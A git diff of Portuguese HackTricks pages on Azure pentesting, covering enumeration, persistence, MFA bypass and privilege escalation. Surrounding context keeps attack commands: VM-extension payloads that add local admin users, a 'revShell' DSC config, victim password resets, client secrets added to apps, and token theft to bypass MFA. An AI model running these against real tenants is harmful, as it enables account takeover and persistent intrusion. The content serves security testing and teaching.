88eb34a19..e9c6432a6 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -1,7 +1,9 @@ -# Az - Permissões para um Pentest +# Az - Permissions for a Pentest {{#include ../../banners/hacktricks-training.md}} -Para iniciar os testes, você deve ter acesso com um usuário com **permissões de Leitor sobre a assinatura** e **papel de Leitor Global no AzureAD**. Se mesmo assim você **não conseguir acessar o conteúdo das contas de Armazenamento**, você pode corrigir isso com o **papel de Contribuidor de Conta de Armazenamento**. +Para iniciar uma revisão de hardening de caixa branca de alguns inquilinos do Entra ID, você precisa solicitar o **papel de Leitor Global em cada inquilino**. Além disso, para realizar uma revisão de hardening de diferentes assinaturas do Azure, você precisaria de pelo menos as **permissões de Leitor sobre todas as assinaturas**. + +Observe que, se esses papéis não forem suficientes para acessar todas as informações necessárias, você também pode pedir ao cliente papéis com as permissões que precisa. Apenas tente **minimizar a quantidade de permissões que não são somente leitura que você solicita!** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index 39115c068..6f2903e13 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -1,10 +1,10 @@ -# Az - Persistência +# Az - Persistence {{#include ../../../banners/hacktricks-training.md}} ### Concessão de Consentimento Ilícito -Por padrão, qualquer usuário pode registrar um aplicativo no Azure AD. Assim, você pode registrar um aplicativo (apenas para o locatário alvo) que precisa de permissões de alto impacto com consentimento do administrador (e aprová-lo se você for o administrador) - como enviar e-mails em nome de um usuário, gerenciamento de funções, etc. Isso nos permitirá **executar ataques de phishing** que seriam muito **frutíferos** em caso de sucesso. +Por padrão, qualquer usuário pode registrar um aplicativo no Azure AD. Assim, você pode registrar um aplicativo (apenas para o inquilino alvo) que precisa de permissões de alto impacto com consentimento do administrador (e aprová-lo se você for o administrador) - como enviar e-mails em nome de um usuário, gerenciamento de funções, etc. Isso nos permitirá **executar ataques de phishing** que seriam muito **frutíferos** em caso de sucesso. Além disso, você também poderia aceitar esse aplicativo com seu usuário como uma forma de manter o acesso sobre ele. @@ -14,16 +14,16 @@ Com privilégios de Administrador de Aplicativos, GA ou um papel personalizado c É possível **mirar em um aplicativo com altas permissões** ou **adicionar um novo aplicativo** com altas permissões. -Um papel interessante a ser adicionado ao aplicativo seria o **papel de administrador de autenticação privilegiada**, pois permite **reiniciar a senha** de Administradores Globais. +Um papel interessante para adicionar ao aplicativo seria o **papel de administrador de autenticação privilegiada**, pois permite **reiniciar a senha** de Administradores Globais. Essa técnica também permite **contornar a MFA**. -```powershell +```bash $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` - Para autenticação baseada em certificado -```powershell +```bash Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` ### Federação - Certificado de Assinatura de Token @@ -31,17 +31,17 @@ Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint
Para tentar contornar essa proteção, você deve ver se consegue **acessar qualquer aplicativo**.\ -A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **dezenas de IDs de aplicativos codificados** e tentará fazer login neles e informá-lo, e até fornecerá o token se for bem-sucedido. +A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **dezenas de IDs de aplicativos codificados** e tentará fazer login neles e informá-lo, e até mesmo fornecer o token se for bem-sucedido. Para **testar IDs de aplicativos específicos em recursos específicos**, você também pode usar uma ferramenta como: ```bash @@ -69,13 +69,13 @@ Além disso, também é possível proteger o método de login (por exemplo, se v A ferramenta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) também pode ser usada para propósitos semelhantes, embora pareça não estar mantida. -A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Você primeiro precisa baixar a lista de aplicativos permitidos no locatário e, em seguida, tentará fazer login neles. +A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva **whitebox**. Você primeiro precisa baixar a lista de aplicativos permitidos no inquilino e, em seguida, tentará fazer login neles. ## Outros Bypasses de Az MFA ### Toque de chamada -Uma opção de MFA do Azure é **receber uma chamada no número de telefone configurado** onde será solicitado ao usuário que **envie o caractere `#`**. +Uma opção de MFA do Azure é **receber uma chamada no número de telefone configurado**, onde será solicitado ao usuário que **envie o caractere `#`**. > [!CAUTION] > Como os caracteres são apenas **tons**, um atacante poderia **comprometer** a mensagem de **correio de voz** do número de telefone, configurando como mensagem o **tom de `#`** e, em seguida, ao solicitar o MFA, garantir que o **telefone da vítima esteja ocupado** (ligando para ele) para que a chamada do Azure seja redirecionada para o correio de voz. @@ -85,7 +85,7 @@ Uma opção de MFA do Azure é **receber uma chamada no número de telefone conf As políticas frequentemente exigem um dispositivo compatível ou MFA, então um **atacante poderia registrar um dispositivo compatível**, obter um **token PRT** e **contornar assim o MFA**. Comece registrando um **dispositivo compatível no Intune**, depois **obtenha o PRT** com: -```powershell +```bash $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials $prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce @@ -142,19 +142,19 @@ Donkey token é um conjunto de funções que visa ajudar consultores de seguran **Teste cada portal** se é possível **fazer login sem MFA**: -```powershell +```bash $username = "conditional-access-app-user@azure.training.hacktricks.xyz" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` Porque o **portal** **Azure** **não é restrito**, é possível **coletar um token do endpoint do portal para acessar qualquer serviço detectado** pela execução anterior. Neste caso, o Sharepoint foi identificado, e um token para acessá-lo é solicitado: -```powershell +```bash $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` Supondo que o token tenha a permissão Sites.Read.All (do Sharepoint), mesmo que você não consiga acessar o Sharepoint pela web devido ao MFA, é possível usar o token para acessar os arquivos com o token gerado: -```powershell +```bash $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` ## Referências diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md index cc9939032..6b571e2fb 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -4,9 +4,9 @@ ## Informações Básicas -**Grupos dinâmicos** são grupos que têm um conjunto de **regras** configuradas e todos os **usuários ou dispositivos** que correspondem às regras são adicionados ao grupo. Sempre que um **atributo** de usuário ou dispositivo é **alterado**, as regras dinâmicas são **reverificadas**. E quando uma **nova regra** é **criada**, todos os dispositivos e usuários são **verificados**. +**Dynamic groups** são grupos que têm um conjunto de **regras** configuradas e todos os **usuários ou dispositivos** que correspondem às regras são adicionados ao grupo. Sempre que um **atributo** de usuário ou dispositivo é **alterado**, as regras dinâmicas são **reverificadas**. E quando uma **nova regra** é **criada**, todos os dispositivos e usuários são **verificados**. -Grupos dinâmicos podem ter **funções do Azure RBAC atribuídas** a eles, mas **não é possível** adicionar **funções do AzureAD** a grupos dinâmicos. +Dynamic groups podem ter **Azure RBAC roles** atribuídos a eles, mas **não é possível** adicionar **AzureAD roles** a grupos dinâmicos. Esse recurso requer licença Azure AD premium P1. @@ -23,7 +23,7 @@ Obtenha grupos que permitem associação dinâmica: **`az ad group list --query Para o e-mail do usuário convidado, aceite o convite e verifique as configurações atuais de **aquele usuário** em [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ Infelizmente, a página não permite modificar os valores dos atributos, então precisamos usar a API: -```powershell +```bash # Login with the gust user az login --allow-no-subscriptions diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index 580757fe2..f15b1b2d0 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -79,7 +79,7 @@ az vm extension set \ Você também pode executar outras cargas úteis como: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - Redefinir senha usando a extensão VMAccess -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -94,7 +94,7 @@ Também é possível abusar de extensões bem conhecidas para executar código o Extensão VMAccess Esta extensão permite modificar a senha (ou criar se não existir) de usuários dentro de VMs Windows. -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredConfigurationState (DSC) Esta é uma **extensão de VM** que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão: -```powershell +```bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { @@ -310,7 +310,7 @@ Faça login via **SSH** com **`az ssh vm --name --resource-group --resource-group {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash # Get App Services and Function Apps Get-AzWebApp # Get only App Services @@ -227,7 +227,7 @@ done ## Exemplos para gerar Aplicativos Web -### Python do local +### Python a partir do local Este tutorial é baseado no de [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli). ```bash diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index ea60f6a86..883faab39 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -6,21 +6,21 @@ [Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) -O Application Proxy do Azure Active Directory fornece **acesso remoto seguro a aplicações web locais**. Após um **login único no Azure AD**, os usuários podem acessar tanto **aplicações em nuvem** quanto **aplicações locais** através de uma **URL externa** ou um portal de aplicação interno. +O Application Proxy do Azure Active Directory fornece **acesso remoto seguro a aplicativos web locais**. Após um **login único no Azure AD**, os usuários podem acessar tanto **aplicativos em nuvem** quanto **aplicativos locais** através de uma **URL externa** ou um portal de aplicativos interno. Funciona assim:
-1. Após o usuário acessar a aplicação através de um endpoint, o usuário é direcionado para a **página de login do Azure AD**. +1. Após o usuário acessar o aplicativo através de um endpoint, o usuário é direcionado para a **página de login do Azure AD**. 2. Após um **login bem-sucedido**, o Azure AD envia um **token** para o dispositivo cliente do usuário. 3. O cliente envia o token para o **serviço Application Proxy**, que recupera o nome principal do usuário (UPN) e o nome principal de segurança (SPN) do token. **O Application Proxy então envia a solicitação para o conector do Application Proxy**. 4. Se você configurou o login único, o conector realiza qualquer **autenticação adicional** necessária em nome do usuário. -5. O conector envia a solicitação para a **aplicação local**. +5. O conector envia a solicitação para o **aplicativo local**. 6. A **resposta** é enviada através do conector e do serviço Application Proxy **para o usuário**. ## Enumeração -```powershell +```bash # Enumerate applications with application proxy configured Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index 8855f1d45..9b7bc2449 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -4,7 +4,7 @@ ## Informações Básicas -[Dos documentos:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Para implementar **infraestrutura como código para suas soluções Azure**, use modelos do Azure Resource Manager (modelos ARM). O modelo é um arquivo de Notação de Objeto JavaScript (**JSON**) que **define** a **infraestrutura** e a configuração para seu projeto. O modelo usa uma sintaxe declarativa, que permite que você declare o que pretende implantar sem precisar escrever a sequência de comandos de programação para criá-lo. No modelo, você especifica os recursos a serem implantados e as propriedades desses recursos. +[Dos documentos:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Para implementar **infraestrutura como código para suas soluções Azure**, use modelos do Azure Resource Manager (modelos ARM). O modelo é um arquivo de Notação de Objetos JavaScript (**JSON**) que **define** a **infraestrutura** e a configuração para seu projeto. O modelo usa uma sintaxe declarativa, que permite que você declare o que pretende implantar sem precisar escrever a sequência de comandos de programação para criá-lo. No modelo, você especifica os recursos a serem implantados e as propriedades desses recursos. ### História @@ -13,7 +13,7 @@ Se você puder acessá-lo, poderá ter **informações sobre recursos** que não ## Buscar Informações Sensíveis Usuários com as permissões `Microsoft.Resources/deployments/read` e `Microsoft.Resources/subscriptions/resourceGroups/read` podem **ler o histórico de implantações**. -```powershell +```bash Get-AzResourceGroup Get-AzResourceGroupDeployment -ResourceGroupName diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index 9ad58ff19..e753a34d5 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -4,11 +4,11 @@ ## Informações Básicas -As Contas de Automação do Azure são serviços baseados em nuvem na Microsoft Azure que ajudam a **automatizar tarefas** como gerenciamento de recursos, configuração e atualizações em ambientes Azure e locais. Elas fornecem **Runbooks** (scripts para automação que são executados), **agendas** e **grupos de trabalhadores híbridos** para executar **trabalhos** de automação, permitindo infraestrutura como código (IaC) e automação de processos para melhorar a eficiência e a consistência na gestão de recursos em nuvem. +As Contas de Automação do Azure são serviços baseados em nuvem na Microsoft Azure que ajudam a **automatizar tarefas** como gerenciamento de recursos, configuração e atualizações em ambientes Azure e locais. Elas fornecem **Runbooks** (scripts para automação que são executados), **agendas** e **grupos de trabalhadores híbridos** para executar **trabalhos de automação**, permitindo infraestrutura como código (IaC) e automação de processos para melhorar a eficiência e a consistência na gestão de recursos em nuvem. ### Configurações -- **Credenciais**: A senha é acessível apenas dentro de um runbook dentro da conta de automação, sendo usada para **armazenar nomes de usuário e senhas de forma segura**. +- **Credenciais**: A senha é acessível apenas dentro de um runbook na conta de automação, sendo usada para **armazenar nomes de usuário e senhas de forma segura**. - **Variáveis**: Usadas para armazenar **dados de configuração** que podem ser utilizados em runbooks. Isso também pode incluir informações sensíveis, como chaves de API. Se a variável estiver **armazenada criptografada**, ela estará disponível apenas dentro de um runbook na conta de automação. - **Certificados**: Usados para armazenar **certificados** que podem ser utilizados em runbooks. - **Conexões**: Usadas para armazenar **informações de conexão** com serviços externos. Isso pode conter **informações sensíveis**. @@ -16,7 +16,7 @@ As Contas de Automação do Azure são serviços baseados em nuvem na Microsoft ### Runbooks & Trabalhos -Um Runbook na Automação do Azure é um **script que executa tarefas automaticamente** dentro do seu ambiente de nuvem. Os runbooks podem ser escritos em PowerShell, Python ou editores gráficos. Eles ajudam a automatizar tarefas administrativas, como gerenciamento de VMs, aplicação de patches ou verificações de conformidade. +Um Runbook na Automação do Azure é um **script que executa tarefas automaticamente** dentro do seu ambiente em nuvem. Os runbooks podem ser escritos em PowerShell, Python ou editores gráficos. Eles ajudam a automatizar tarefas administrativas, como gerenciamento de VMs, aplicação de patches ou verificações de conformidade. No **código** localizado dentro dos **Runbooks** pode conter **informações sensíveis** (como credenciais). @@ -61,7 +61,7 @@ No entanto, também é possível **criar seus próprios ambientes**, usando um d ### Grupos de Trabalhadores Híbridos -Na Automação do Azure, o ambiente de execução padrão para runbooks é o **Azure Sandbox**, uma plataforma baseada em nuvem gerenciada pelo Azure, adequada para tarefas envolvendo recursos do Azure. No entanto, esse sandbox tem limitações, como acesso restrito a recursos locais e restrições de tempo de execução e uso de recursos. Para superar essas limitações, são empregados Grupos de Trabalhadores Híbridos. Um Grupo de Trabalhadores Híbridos consiste em **um ou mais Trabalhadores de Runbook Híbridos instalados em suas próprias máquinas**, seja em locais, em outros ambientes de nuvem ou VMs do Azure. Essa configuração permite que os runbooks sejam executados diretamente nessas máquinas, proporcionando acesso direto a recursos locais, a capacidade de executar tarefas mais longas e mais intensivas em recursos, e a flexibilidade de interagir com ambientes além do alcance imediato do Azure. +Na Automação do Azure, o ambiente de execução padrão para runbooks é o **Azure Sandbox**, uma plataforma baseada em nuvem gerenciada pelo Azure, adequada para tarefas envolvendo recursos do Azure. No entanto, esse sandbox tem limitações, como acesso restrito a recursos locais e restrições de tempo de execução e uso de recursos. Para superar essas limitações, são empregados Grupos de Trabalhadores Híbridos. Um Grupo de Trabalhadores Híbridos consiste em **um ou mais Trabalhadores de Runbook Híbridos instalados em suas próprias máquinas**, seja em locais, em outros ambientes de nuvem ou VMs do Azure. Essa configuração permite que os runbooks sejam executados diretamente nessas máquinas, proporcionando acesso direto a recursos locais, a capacidade de executar tarefas mais longas e intensivas em recursos, e a flexibilidade de interagir com ambientes além do alcance imediato do Azure. Quando um grupo de trabalhadores híbridos é criado, é necessário indicar as **credenciais** a serem usadas. Existem 2 opções: @@ -73,7 +73,7 @@ Portanto, se você puder escolher executar um **Runbook** em um **Trabalhador H Além disso, se o trabalhador híbrido estiver sendo executado no Azure com outras Identidades Gerenciadas anexadas, o runbook poderá acessar a **identidade gerenciada do runbook e todas as identidades gerenciadas da VM a partir do serviço de metadados**. > [!TIP] -> Lembre-se de que o **serviço de metadados** tem uma URL diferente (**`http://169.254.169.254`**) do serviço de onde se obtém o token de identidades gerenciadas da conta de automação (**`IDENTITY_ENDPOINT`**). +> Lembre-se de que o **serviço de metadados** tem uma URL diferente (**`http://169.254.169.254`**) do serviço de onde se obtém o token de identidade gerenciada da conta de automação (**`IDENTITY_ENDPOINT`**). ### Configuração de Estado (SC) @@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name --resourc az rest --method GET --url "https://management.azure.com/subscriptions//resourceGroups/>/providers/Microsoft.Automation/automationAccounts//hybridRunbookWorkerGroups//hybridRunbookWorkers?&api-version=2021-06-22" ``` -```powershell +```bash # Check user right for automation az extension add --upgrade -n automation az automation account list # if it doesn't return anything the user is not a part of an Automation group diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index d7ac22c7d..cce2ecaaf 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -6,7 +6,7 @@ Azure Active Directory (Azure AD) serve como o serviço baseado em nuvem da Microsoft para gerenciamento de identidade e acesso. É fundamental para permitir que os funcionários façam login e tenham acesso a recursos, tanto dentro quanto fora da organização, abrangendo Microsoft 365, o portal Azure e uma multitude de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, incluindo **autenticação, autorização e gerenciamento de usuários**. -As principais características do Azure AD envolvem **autenticação multifatorial** e **acesso condicional**, juntamente com integração perfeita com outros serviços de segurança da Microsoft. Esses recursos elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e aplicar efetivamente suas políticas de acesso. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é crucial para o gerenciamento baseado em nuvem das identidades dos usuários. +As principais características do Azure AD envolvem **autenticação multifatorial** e **acesso condicional**, juntamente com integração perfeita com outros serviços de segurança da Microsoft. Essas características elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e fazer cumprir suas políticas de acesso de forma eficaz. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é crucial para o gerenciamento baseado em nuvem das identidades dos usuários. ## Enumeração @@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples {{#endtab }} {{#tab name="Mg" }} -```powershell +```bash # Login Open browser Connect-MgGraph @@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg* {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash Connect-AzAccount #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -104,7 +104,7 @@ Get-Command *az* {{#endtab }} {{#tab name="Raw PS" }} -```powershell +```bash #Using management $Token = 'eyJ0eXAi..' # List subscriptions @@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01 {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash Connect-AzureAD #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -151,10 +151,10 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token Quando você **faz login** via **CLI** no Azure com qualquer programa, você está usando uma **Aplicação Azure** de um **inquilino** que pertence à **Microsoft**. Essas Aplicações, como as que você pode criar em sua conta, **têm um id de cliente**. Você **não poderá ver todas elas** nas **listas de aplicações permitidas** que você pode ver no console, **mas elas são permitidas por padrão**. -Por exemplo, um **script powershell** que **autentica** usa um app com id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que o app não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via esse App. +Por exemplo, um **script powershell** que **autentica** usa um aplicativo com id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que o aplicativo não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via esse App. No entanto, existem **outros ids de cliente** de aplicações que **permitirão que você se conecte ao Azure**: -```powershell +```bash # The important part is the ClientId, which identifies the application to login inside Azure $token = Invoke-Authorize -Credential $credential ` @@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Users Get-AzureADUser -All $true Get-AzureADUser -All $true | select UserPrincipalName @@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Enumerate users Get-AzADUser # Get details of a user @@ -294,8 +294,8 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com {{#endtab }} {{#endtabs }} -#### Mudar Senha do Usuário -```powershell +#### Alterar Senha do Usuário +```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose @@ -318,7 +318,7 @@ Para mais informações sobre grupos do Entra ID, verifique: {{#tabs }} {{#tab name="az cli" }} -```powershell +```bash # Enumerate groups az ad group list az ad group list --query "[].[displayName]" -o table @@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true - {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Groups Get-AzureADGroup -All $true # Get info of 1 group @@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get all groups Get-AzADGroup # Get details of a group @@ -394,11 +394,11 @@ Get-AzRoleAssignment -ResourceGroupName #### Adicionar usuário ao grupo Os proprietários do grupo podem adicionar novos usuários ao grupo -```powershell +```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário atender a certas condições, ele será adicionado a um grupo**. Claro, se as condições forem baseadas em **atributos** que um **usuário** pode **controlar**, ele pode abusar desse recurso para **entrar em outros grupos**.\ +> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições, ele será adicionado a um grupo**. Claro, se as condições forem baseadas em **atributos** que um **usuário** pode **controlar**, ele poderia abusar dessa funcionalidade para **entrar em outros grupos**.\ > Confira como abusar de grupos dinâmicos na página a seguir: {{#ref}} @@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Get Service Principals Get-AzureADServicePrincipal -All $true # Get details about a SP @@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get SPs Get-AzADServicePrincipal # Get info of 1 SP @@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName {{#endtab }} {{#tab name="Raw" }} -```powershell +```bash $Token = 'eyJ0eX..' $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ @@ -489,7 +489,7 @@ Headers = @{
Liste e tente adicionar um segredo de cliente em cada Aplicativo Empresarial -```powershell +```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { @@ -604,7 +604,7 @@ Para mais informações sobre Aplicações, consulte: Quando um App é gerado, 2 tipos de permissões são concedidas: - **Permissões** dadas ao **Service Principal** -- **Permissões** que o **app** pode ter e usar **em nome do usuário**. +- **Permissões** que o **app** pode ter e usar em **nome do usuário**. {{#tabs }} {{#tab name="az cli" }} @@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # List all registered applications Get-AzureADApplication -All $true # Get details of an application @@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get Apps Get-AzADApplication # Get details of one App @@ -659,7 +659,7 @@ Get-AzADAppCredential > [!NOTE] > Uma string secreta que o aplicativo usa para provar sua identidade ao solicitar um token é a senha do aplicativo.\ > Portanto, se encontrar esta **senha**, você pode acessar como o **service principal** **dentro** do **tenant**.\ -> Observe que esta senha só é visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\ +> Note que esta senha só é visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\ > O **proprietário** do **aplicativo** pode **adicionar uma senha** a ele (para que possa se passar por ele).\ > Logins como esses service principals **não são marcados como arriscados** e **não terão MFA.** @@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get role assignments on the subscription Get-AzRoleDefinition # Get Role definition @@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/ | fl * {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Devices Get-AzureADDevice -All $true | fl * # List all the active devices (and not the stale devices) @@ -850,8 +850,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> Se um dispositivo (VM) estiver **juntado ao AzureAD**, usuários do AzureAD poderão **fazer login**.\ -> Além disso, se o usuário logado for **Proprietário** do dispositivo, ele será **administrador local**. +> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **fazer login**.\ +> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **administrador local**. ### Unidades Administrativas @@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr {{#endtab }} {{#tab name="AzureAD" }} -```powershell +```bash # Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id @@ -923,7 +923,7 @@ Quando o PIM está habilitado, é possível configurar cada função com certos - Exigir justificativa na ativação - Exigir informações de ticket na ativação - Exigir aprovação para ativar -- Tempo máximo para expirar as atribuições elegíveis +- Tempo máximo para expirar as atribuições elegíveis - Muitas mais configurações sobre quando e quem enviar notificações quando certas ações acontecem com esse papel ### Políticas de Acesso Condicional @@ -947,7 +947,7 @@ Permite que o administrador o configure para **bloquear** tentativas quando o ri ### Proteção de Senha do Entra -A Proteção de Senha do Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas ao bloquear contas quando várias tentativas de login malsucedidas ocorrem**.\ +A Proteção de Senha do Entra 